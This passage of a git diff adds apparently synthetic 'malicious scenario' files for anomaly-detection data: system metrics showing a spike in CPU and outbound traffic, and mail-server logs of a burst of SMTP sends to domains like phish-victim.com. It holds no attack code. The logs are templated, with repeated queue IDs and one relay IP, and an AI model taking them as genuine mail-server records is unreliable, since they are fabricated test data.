2.0.0 OK) +Aug 12 14:36:30 mail-server-prod postfix/smtp[14477]: 8C64E4A272: to=, relay=mx.getrichquick.info[192.168.223.130]:25, delay=1.26, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:36:30 mail-server-prod postfix/smtp[13324]: 30D43144FE: to=, relay=mx.spamtarget.org[192.168.252.106]:25, delay=2.79, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:36:30 mail-server-prod postfix/smtp[10060]: 8EAAE0070D: to=, relay=mx.phish-victim.com[192.168.110.69]:25, delay=1.29, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:36:35 mail-server-prod postfix/smtp[12632]: F733D244A5: to=, relay=mx.fakedomain.co.uk[192.168.182.176]:25, delay=1.32, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:36:35 mail-server-prod postfix/smtp[10162]: 5EC9059C16: to=, relay=mx.junkmail.net[192.168.204.233]:25, delay=4.95, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:36:35 mail-server-prod postfix/smtp[12874]: 348C2967C4: to=, relay=none, delay=0.43, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=phish-victim.com type=A: Host not found) +Aug 12 14:36:35 mail-server-prod postfix/smtp[13721]: 8274368223: to=, relay=mx.getrichquick.info[192.168.201.211]:25, delay=1.37, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:36:35 mail-server-prod postfix/smtp[13685]: 04FF012B10: to=, relay=none, delay=0.46, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=spamtarget.org type=A: Host not found) +Aug 12 14:36:35 mail-server-prod postfix/smtp[14195]: 762AAE2F4B: to=, relay=mx.junkmail.net[192.168.190.236]:25, delay=3.41, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:36:35 mail-server-prod postfix/smtp[13848]: 435D39C87A: to=, relay=mx.getrichquick.info[192.168.229.89]:25, delay=4.45, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:36:35 mail-server-prod postfix/smtp[14541]: 0704C863FB: to=, relay=mx.example.com[192.168.6.29]:25, delay=2.93, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:37:00 mail-server-prod postfix/qmgr[5783]: 648E431C2A: from=, size=601, nrcpt=1 (queue active) diff --git a/mali_dataset/scenario_5/mali_5_19.csv b/mali_dataset/scenario_5/mali_5_19.csv new file mode 100644 index 0000000000000000000000000000000000000000..b7b1d0d1f5518729e9bc421ce3b5da7c0230458a --- /dev/null +++ b/mali_dataset/scenario_5/mali_5_19.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-15T10:00:00Z,15.73,52.91,5.36,1.2,1.18 +2025-08-15T10:00:05Z,11.89,51.57,10.7,1.11,0.8 +2025-08-15T10:00:10Z,11.12,54.05,6.27,1.0,0.79 +2025-08-15T10:00:15Z,17.15,53.32,7.19,0.9,1.22 +2025-08-15T10:00:20Z,11.68,52.33,6.12,1.08,1.37 +2025-08-15T10:00:25Z,10.99,52.42,5.64,1.49,1.19 +2025-08-15T10:00:30Z,19.55,52.21,10.47,0.51,0.6 +2025-08-15T10:00:35Z,14.63,52.01,11.92,0.64,0.98 +2025-08-15T10:00:40Z,15.24,52.79,5.96,1.15,1.07 +2025-08-15T10:00:45Z,18.57,54.3,12.69,0.52,0.58 +2025-08-15T10:00:50Z,13.62,54.87,11.64,0.99,0.97 +2025-08-15T10:00:55Z,17.69,54.04,11.01,0.57,1.39 +2025-08-15T10:01:00Z,18.06,50.07,7.35,1.44,0.91 +2025-08-15T10:01:05Z,19.58,54.15,5.65,0.7,0.75 +2025-08-15T10:01:10Z,14.63,51.63,13.48,0.57,0.7 +2025-08-15T10:01:15Z,12.46,53.56,7.37,1.12,0.72 +2025-08-15T10:01:20Z,15.83,53.32,13.21,1.19,0.76 +2025-08-15T10:01:25Z,16.11,52.66,8.63,1.08,1.38 +2025-08-15T10:01:30Z,15.91,50.99,9.99,1.08,0.97 +2025-08-15T10:01:35Z,11.5,51.4,13.73,0.97,0.59 +2025-08-15T10:01:40Z,14.89,52.49,12.06,0.6,0.89 +2025-08-15T10:01:45Z,13.46,50.41,13.19,1.29,0.72 +2025-08-15T10:01:50Z,19.3,52.6,10.93,1.36,0.68 +2025-08-15T10:01:55Z,13.73,54.74,6.01,0.72,0.94 +2025-08-15T10:02:00Z,10.81,51.75,11.7,0.67,0.84 +2025-08-15T10:02:05Z,13.7,53.08,13.67,1.37,0.82 +2025-08-15T10:02:10Z,17.78,50.72,8.06,0.81,1.07 +2025-08-15T10:02:15Z,18.05,50.2,8.95,1.49,1.17 +2025-08-15T10:02:20Z,12.62,54.35,14.24,0.86,0.68 +2025-08-15T10:02:25Z,11.97,53.57,8.31,0.73,0.97 +2025-08-15T10:02:30Z,40.38,51.32,11.75,1.17,16.01 +2025-08-15T10:02:35Z,42.02,51.65,12.71,0.86,21.29 +2025-08-15T10:02:40Z,55.48,54.69,8.05,0.9,19.09 +2025-08-15T10:02:45Z,57.41,54.86,5.33,1.18,25.44 +2025-08-15T10:02:50Z,58.36,50.01,12.57,0.54,29.41 +2025-08-15T10:02:55Z,57.72,52.18,13.34,0.78,24.23 +2025-08-15T10:03:00Z,59.79,51.26,7.42,0.85,19.07 +2025-08-15T10:03:05Z,52.65,54.73,8.83,0.66,18.84 +2025-08-15T10:03:10Z,56.54,50.31,9.49,0.92,24.17 +2025-08-15T10:03:15Z,46.01,50.44,14.86,1.35,16.7 +2025-08-15T10:03:20Z,47.69,51.39,13.79,1.31,25.65 +2025-08-15T10:03:25Z,50.39,53.59,7.77,0.51,26.33 +2025-08-15T10:03:30Z,51.99,50.19,13.1,0.56,23.96 +2025-08-15T10:03:35Z,46.04,54.84,5.77,0.91,20.64 +2025-08-15T10:03:40Z,58.35,51.29,10.6,1.12,16.68 +2025-08-15T10:03:45Z,49.85,50.52,5.32,1.43,18.42 +2025-08-15T10:03:50Z,43.04,54.19,8.01,1.23,22.61 +2025-08-15T10:03:55Z,48.69,54.52,10.54,0.8,18.37 +2025-08-15T10:04:00Z,51.36,50.79,5.78,1.43,19.64 +2025-08-15T10:04:05Z,51.58,52.35,9.87,1.46,29.09 +2025-08-15T10:04:10Z,58.15,50.48,10.11,0.6,24.57 +2025-08-15T10:04:15Z,57.28,54.77,13.46,0.63,20.73 +2025-08-15T10:04:20Z,47.43,51.97,13.42,0.75,19.32 +2025-08-15T10:04:25Z,43.26,51.96,10.71,1.35,24.6 +2025-08-15T10:04:30Z,46.66,50.57,5.09,1.25,27.39 +2025-08-15T10:04:35Z,57.18,51.06,9.41,0.73,26.95 +2025-08-15T10:04:40Z,49.04,50.7,10.8,0.74,21.99 +2025-08-15T10:04:45Z,49.37,50.16,5.26,0.75,29.62 +2025-08-15T10:04:50Z,45.43,54.35,14.68,1.5,25.14 +2025-08-15T10:04:55Z,43.72,52.67,11.63,0.67,18.64 +2025-08-15T10:05:00Z,44.75,54.27,14.69,0.95,22.49 +2025-08-15T10:05:05Z,52.44,54.59,7.85,1.04,22.04 +2025-08-15T10:05:10Z,46.23,53.05,12.45,0.68,15.45 +2025-08-15T10:05:15Z,46.02,51.74,13.42,1.31,27.88 +2025-08-15T10:05:20Z,55.44,50.06,8.78,1.27,25.29 +2025-08-15T10:05:25Z,59.66,52.28,14.69,0.64,22.89 +2025-08-15T10:05:30Z,51.78,50.74,9.68,1.42,19.3 +2025-08-15T10:05:35Z,44.0,52.0,11.95,1.3,23.05 +2025-08-15T10:05:40Z,54.13,50.89,6.35,0.51,15.84 +2025-08-15T10:05:45Z,58.65,51.39,14.13,1.05,19.02 +2025-08-15T10:05:50Z,58.46,52.42,10.4,0.87,27.02 +2025-08-15T10:05:55Z,42.35,51.51,9.85,1.48,19.52 +2025-08-15T10:06:00Z,52.07,50.91,10.75,1.05,20.68 +2025-08-15T10:06:05Z,54.73,51.83,12.47,0.9,25.16 +2025-08-15T10:06:10Z,44.28,53.9,6.01,0.52,17.95 +2025-08-15T10:06:15Z,58.27,52.39,7.29,1.03,18.95 +2025-08-15T10:06:20Z,47.46,52.93,11.34,1.15,26.05 +2025-08-15T10:06:25Z,43.7,54.36,8.21,1.19,21.45 +2025-08-15T10:06:30Z,43.76,54.12,14.53,0.64,22.5 +2025-08-15T10:06:35Z,53.32,54.8,6.69,0.95,21.4 +2025-08-15T10:06:40Z,15.03,50.19,12.04,0.92,0.65 +2025-08-15T10:06:45Z,10.67,50.04,5.46,0.86,1.46 +2025-08-15T10:06:50Z,14.97,50.17,5.42,1.15,1.22 +2025-08-15T10:06:55Z,12.37,51.11,12.4,1.32,0.65 +2025-08-15T10:07:00Z,14.46,50.52,8.82,1.26,0.74 +2025-08-15T10:07:05Z,18.16,51.72,6.13,1.38,1.2 +2025-08-15T10:07:10Z,12.49,50.62,12.41,1.49,1.22 +2025-08-15T10:07:15Z,16.46,53.62,5.92,0.52,0.84 +2025-08-15T10:07:20Z,14.95,52.38,14.69,0.87,0.82 +2025-08-15T10:07:25Z,16.98,50.44,6.86,1.47,1.15 diff --git a/mali_dataset/scenario_5/mali_5_19.log b/mali_dataset/scenario_5/mali_5_19.log new file mode 100644 index 0000000000000000000000000000000000000000..b6885b6e350e41ba695c90269193979a3013c8c5 --- /dev/null +++ b/mali_dataset/scenario_5/mali_5_19.log @@ -0,0 +1,144 @@ +Aug 15 10:00:00 mail-server systemd[1]: Starting daily clean up activities... +Aug 15 10:00:50 mail-server systemd[1]: Starting daily clean up activities... +Aug 15 10:01:40 mail-server systemd[1]: Starting daily clean up activities... +Aug 15 10:01:40 mail-server CRON[8877]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 15 10:02:30 mail-server postfix/smtp[2376]: A1B2C3D4E5: to=, relay=mx.mailservice.net[192.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F6G7H8I9J0) +Aug 15 10:02:30 mail-server postfix/smtp[2376]: A1B2C3D4E5: to=, relay=mx.mailservice.net[192.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F6G7H8I9J0) +Aug 15 10:02:30 mail-server postfix/smtp[2376]: A1B2C3D4E5: to=, relay=mx.mailservice.net[192.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F6G7H8I9J0) +Aug 15 10:02:35 mail-server postfix/smtp[8877]: A1B2C3D4E5: to=, relay=mx.mailservice.net[192.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F6G7H8I9J0) +Aug 15 10:02:35 mail-server postfix/smtp[8877]: A1B2C3D4E5: to=, relay=mx.mailservice.net[192.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F6G7H8I9J0) +Aug 15 10:02:35 mail-server postfix/smtp[8877]: A1B2C3D4E5: to=, relay=mx.mailservice.net[192.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F6G7H8I9J0) +Aug 15 10:02:40 mail-server postfix/smtp[2376]: A1B2C3D4E5: to=, relay=mx.mailservice.net[192.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F6G7H8I9J0) +Aug 15 10:02:40 mail-server postfix/smtp[2376]: A1B2C3D4E5: to=, relay=mx.mailservice.net[192.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F6G7H8I9J0) +Aug 15 10:02:40 mail-server postfix/smtp[2376]: A1B2C3D4E5: to=, relay=mx.mailservice.net[192.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F6G7H8I9J0) +Aug 15 10:02:45 mail-server postfix/smtp[6513]: A1B2C3D4E5: to=, relay=mx.web-hosting.org[192.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F6G7H8I9J0) +Aug 15 10:02:50 mail-server postfix/smtp[8140]: A1B2C3D4E5: to=, relay=mx.web-hosting.org[192.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F6G7H8I9J0) +Aug 15 10:02:50 mail-server postfix/smtp[8140]: A1B2C3D4E5: to=, relay=mx.web-hosting.org[192.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F6G7H8I9J0) +Aug 15 10:02:55 mail-server postfix/smtp[3069]: A1B2C3D4E5: to=, relay=mx.business-email.io[192.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F6G7H8I9J0) +Aug 15 10:03:00 mail-server postfix/smtp[3069]: A1B2C3D4E5: to=, relay=mx.business-email.io[192.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F6G7H8I9J0) +Aug 15 10:03:05 mail-server postfix/smtp[8877]: A1B2C3D4E5: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F6G7H8I9J0) +Aug 15 10:03:10 mail-server postfix/smtp[8877]: A1B2C3D4E5: to=, relay=mx.business-email.io[192.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F6G7H8I9J0) +Aug 15 10:03:15 mail-server postfix/smtp[3069]: A1B2C3D4E5: to=, relay=mx.mailservice.net[192.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F6G7H8I9J0) +Aug 15 10:03:15 mail-server postfix/smtp[3069]: A1B2C3D4E5: to=, relay=mx.mailservice.net[192.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F6G7H8I9J0) +Aug 15 10:03:15 mail-server postfix/smtp[3069]: A1B2C3D4E5: to=, relay=mx.mailservice.net[192.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F6G7H8I9J0) +Aug 15 10:03:20 mail-server postfix/smtp[2376]: A1B2C3D4E5: to=, relay=mx.business-email.io[192.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F6G7H8I9J0) +Aug 15 10:03:20 mail-server postfix/smtp[2376]: A1B2C3D4E5: to=, relay=mx.business-email.io[192.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F6G7H8I9J0) +Aug 15 10:03:20 mail-server postfix/smtp[2376]: A1B2C3D4E5: to=, relay=mx.business-email.io[192.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F6G7H8I9J0) +Aug 15 10:03:25 mail-server postfix/smtp[8140]: A1B2C3D4E5: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F6G7H8I9J0) +Aug 15 10:03:30 mail-server postfix/smtp[2376]: A1B2C3D4E5: to=, relay=mx.business-email.io[192.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F6G7H8I9J0) +Aug 15 10:03:30 mail-server postfix/smtp[2376]: A1B2C3D4E5: to=, relay=mx.business-email.io[192.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F6G7H8I9J0) +Aug 15 10:03:30 mail-server postfix/smtp[2376]: A1B2C3D4E5: to=, relay=mx.business-email.io[192.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F6G7H8I9J0) +Aug 15 10:03:35 mail-server postfix/smtp[3069]: A1B2C3D4E5: to=, relay=mx.web-hosting.org[192.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F6G7H8I9J0) +Aug 15 10:03:35 mail-server postfix/smtp[3069]: A1B2C3D4E5: to=, relay=mx.web-hosting.org[192.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F6G7H8I9J0) +Aug 15 10:03:35 mail-server postfix/smtp[3069]: A1B2C3D4E5: to=, relay=mx.web-hosting.org[192.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F6G7H8I9J0) +Aug 15 10:03:40 mail-server postfix/smtp[2376]: A1B2C3D4E5: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F6G7H8I9J0) +Aug 15 10:03:40 mail-server postfix/smtp[2376]: A1B2C3D4E5: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F6G7H8I9J0) +Aug 15 10:03:40 mail-server postfix/smtp[2376]: A1B2C3D4E5: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F6G7H8I9J0) +Aug 15 10:03:45 mail-server postfix/smtp[6513]: A1B2C3D4E5: to=, relay=mx.web-hosting.org[192.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F6G7H8I9J0) +Aug 15 10:03:45 mail-server postfix/smtp[6513]: A1B2C3D4E5: to=, relay=mx.web-hosting.org[192.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F6G7H8I9J0) +Aug 15 10:03:45 mail-server postfix/smtp[6513]: A1B2C3D4E5: to=, relay=mx.web-hosting.org[192.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F6G7H8I9J0) +Aug 15 10:03:50 mail-server postfix/smtp[2376]: A1B2C3D4E5: to=, relay=mx.business-email.io[192.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F6G7H8I9J0) +Aug 15 10:03:50 mail-server postfix/smtp[2376]: A1B2C3D4E5: to=, relay=mx.business-email.io[192.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F6G7H8I9J0) +Aug 15 10:03:50 mail-server postfix/smtp[2376]: A1B2C3D4E5: to=, relay=mx.business-email.io[192.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F6G7H8I9J0) +Aug 15 10:03:55 mail-server postfix/smtp[2376]: A1B2C3D4E5: to=, relay=mx.randomdomain.co[192.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F6G7H8I9J0) +Aug 15 10:04:00 mail-server postfix/smtp[8877]: A1B2C3D4E5: to=, relay=mx.randomdomain.co[192.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F6G7H8I9J0) +Aug 15 10:04:00 mail-server postfix/smtp[8877]: A1B2C3D4E5: to=, relay=mx.randomdomain.co[192.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F6G7H8I9J0) +Aug 15 10:04:05 mail-server postfix/smtp[8140]: A1B2C3D4E5: to=, relay=mx.mailservice.net[192.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F6G7H8I9J0) +Aug 15 10:04:10 mail-server postfix/smtp[3069]: A1B2C3D4E5: to=, relay=mx.mailservice.net[192.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F6G7H8I9J0) +Aug 15 10:04:10 mail-server systemd[1]: Started Session 50 of user root. +Aug 15 10:04:15 mail-server postfix/smtp[3069]: A1B2C3D4E5: to=, relay=mx.business-email.io[192.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F6G7H8I9J0) +Aug 15 10:04:15 mail-server postfix/smtp[3069]: A1B2C3D4E5: to=, relay=mx.business-email.io[192.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F6G7H8I9J0) +Aug 15 10:04:20 mail-server postfix/smtp[8877]: A1B2C3D4E5: to=, relay=mx.business-email.io[192.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F6G7H8I9J0) +Aug 15 10:04:25 mail-server postfix/smtp[2376]: A1B2C3D4E5: to=, relay=mx.business-email.io[192.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F6G7H8I9J0) +Aug 15 10:04:30 mail-server postfix/smtp[3069]: A1B2C3D4E5: to=, relay=mx.mailservice.net[192.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F6G7H8I9J0) +Aug 15 10:04:30 mail-server postfix/smtp[3069]: A1B2C3D4E5: to=, relay=mx.mailservice.net[192.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F6G7H8I9J0) +Aug 15 10:04:35 mail-server postfix/smtp[3069]: A1B2C3D4E5: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F6G7H8I9J0) +Aug 15 10:04:35 mail-server postfix/smtp[3069]: A1B2C3D4E5: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F6G7H8I9J0) +Aug 15 10:04:35 mail-server postfix/smtp[3069]: A1B2C3D4E5: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F6G7H8I9J0) +Aug 15 10:04:40 mail-server postfix/smtp[3069]: A1B2C3D4E5: to=, relay=mx.web-hosting.org[192.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F6G7H8I9J0) +Aug 15 10:04:40 mail-server postfix/smtp[3069]: A1B2C3D4E5: to=, relay=mx.web-hosting.org[192.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F6G7H8I9J0) +Aug 15 10:04:40 mail-server postfix/smtp[3069]: A1B2C3D4E5: to=, relay=mx.web-hosting.org[192.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F6G7H8I9J0) +Aug 15 10:04:45 mail-server postfix/smtp[8877]: A1B2C3D4E5: to=, relay=mx.web-hosting.org[192.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F6G7H8I9J0) +Aug 15 10:04:45 mail-server postfix/smtp[8877]: A1B2C3D4E5: to=, relay=mx.web-hosting.org[192.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F6G7H8I9J0) +Aug 15 10:04:45 mail-server postfix/smtp[8877]: A1B2C3D4E5: to=, relay=mx.web-hosting.org[192.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F6G7H8I9J0) +Aug 15 10:04:50 mail-server postfix/smtp[3069]: A1B2C3D4E5: to=, relay=mx.mailservice.net[192.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F6G7H8I9J0) +Aug 15 10:04:55 mail-server postfix/smtp[8140]: A1B2C3D4E5: to=, relay=mx.mailservice.net[192.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F6G7H8I9J0) +Aug 15 10:05:00 mail-server postfix/smtp[2376]: A1B2C3D4E5: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F6G7H8I9J0) +Aug 15 10:05:00 mail-server postfix/smtp[2376]: A1B2C3D4E5: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F6G7H8I9J0) +Aug 15 10:05:05 mail-server postfix/smtp[6513]: A1B2C3D4E5: to=, relay=mx.mailservice.net[192.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F6G7H8I9J0) +Aug 15 10:05:05 mail-server postfix/smtp[6513]: A1B2C3D4E5: to=, relay=mx.mailservice.net[192.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F6G7H8I9J0) +Aug 15 10:05:10 mail-server postfix/smtp[3069]: A1B2C3D4E5: to=, relay=mx.web-hosting.org[192.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F6G7H8I9J0) +Aug 15 10:05:10 mail-server postfix/smtp[3069]: A1B2C3D4E5: to=, relay=mx.web-hosting.org[192.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F6G7H8I9J0) +Aug 15 10:05:15 mail-server postfix/smtp[8877]: A1B2C3D4E5: to=, relay=mx.web-hosting.org[192.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F6G7H8I9J0) +Aug 15 10:05:15 mail-server postfix/smtp[8877]: A1B2C3D4E5: to=, relay=mx.web-hosting.org[192.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F6G7H8I9J0) +Aug 15 10:05:15 mail-server postfix/smtp[8877]: A1B2C3D4E5: to=, relay=mx.web-hosting.org[192.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F6G7H8I9J0) +Aug 15 10:05:20 mail-server postfix/smtp[3069]: A1B2C3D4E5: to=, relay=mx.randomdomain.co[192.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F6G7H8I9J0) +Aug 15 10:05:25 mail-server postfix/smtp[8140]: A1B2C3D4E5: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F6G7H8I9J0) +Aug 15 10:05:25 mail-server postfix/smtp[8140]: A1B2C3D4E5: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F6G7H8I9J0) +Aug 15 10:05:25 mail-server postfix/smtp[8140]: A1B2C3D4E5: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F6G7H8I9J0) +Aug 15 10:05:30 mail-server postfix/smtp[2376]: A1B2C3D4E5: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F6G7H8I9J0) +Aug 15 10:05:35 mail-server postfix/smtp[8140]: A1B2C3D4E5: to=, relay=mx.mailservice.net[192.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F6G7H8I9J0) +Aug 15 10:05:40 mail-server postfix/smtp[2376]: A1B2C3D4E5: to=, relay=mx.web-hosting.org[192.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F6G7H8I9J0) +Aug 15 10:05:45 mail-server postfix/smtp[2376]: A1B2C3D4E5: to=, relay=mx.mailservice.net[192.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F6G7H8I9J0) +Aug 15 10:05:45 mail-server postfix/smtp[2376]: A1B2C3D4E5: to=, relay=mx.mailservice.net[192.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F6G7H8I9J0) +Aug 15 10:05:45 mail-server 